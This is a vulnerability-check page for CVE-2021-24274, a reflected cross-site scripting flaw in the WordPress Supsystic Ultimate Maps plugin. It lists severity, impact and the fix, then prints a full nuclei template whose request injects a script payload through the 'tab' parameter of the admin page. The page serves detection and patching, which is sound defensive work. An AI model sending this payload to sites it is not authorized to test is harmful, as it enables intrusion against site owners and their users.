WordPress Supsystic Ultimate Maps <1.2.5 - Cross-Site Scripting

mediumseverity

6.1CVSS score

17.6%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

WordPress Supsystic Ultimate Maps plugin before 1.2.5 contains an unauthenticated reflected cross-site scripting vulnerability due to improper sanitization of the tab parameter on the options page before outputting it in an attribute.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Update the WordPress Supsystic Ultimate Maps plugin to version 1.2.5 or later to mitigate the vulnerability.

How to confirm it

Send: GET /
Positive when: contains "/wp-content/plugins/ultimate-maps-by-supsystic/modules/maps…"
Send: GET /wp-admin/admin.php?page=ultimate-maps-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-24274 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-24274

info:
  name: WordPress Supsystic Ultimate Maps <1.2.5 - Cross-Site Scripting
  author: DhiyaneshDK
  severity: medium
  description: WordPress Supsystic Ultimate Maps plugin before 1.2.5 contains an unauthenticated reflected cross-site scripting vulnerability due to improper sanitization of the tab parameter on the options page before outputting it in an attribute.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update the WordPress Supsystic Ultimate Maps plugin to version 1.2.5 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/200a3031-7c42-4189-96b1-bed9e0ab7c1d
    - http://packetstormsecurity.com/files/164316/WordPress-Ultimate-Maps-1.2.4-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24274
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24274
    cwe-id: CWE-79
    epss-score: 0.17638
    epss-percentile: 0.97174
    cpe: cpe:2.3:a:supsystic:ultimate_maps:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: supsystic
    product: ultimate_maps
    framework: wordpress
  tags: cve2021,cve,wpscan,packetstorm,wordpress,wp-plugin,maps,supsystic,xss,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/plugins/ultimate-maps-by-supsystic/modules/maps/css/'
        condition: and

  - raw:
      - |
        GET /wp-admin/admin.php?page=ultimate-maps-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

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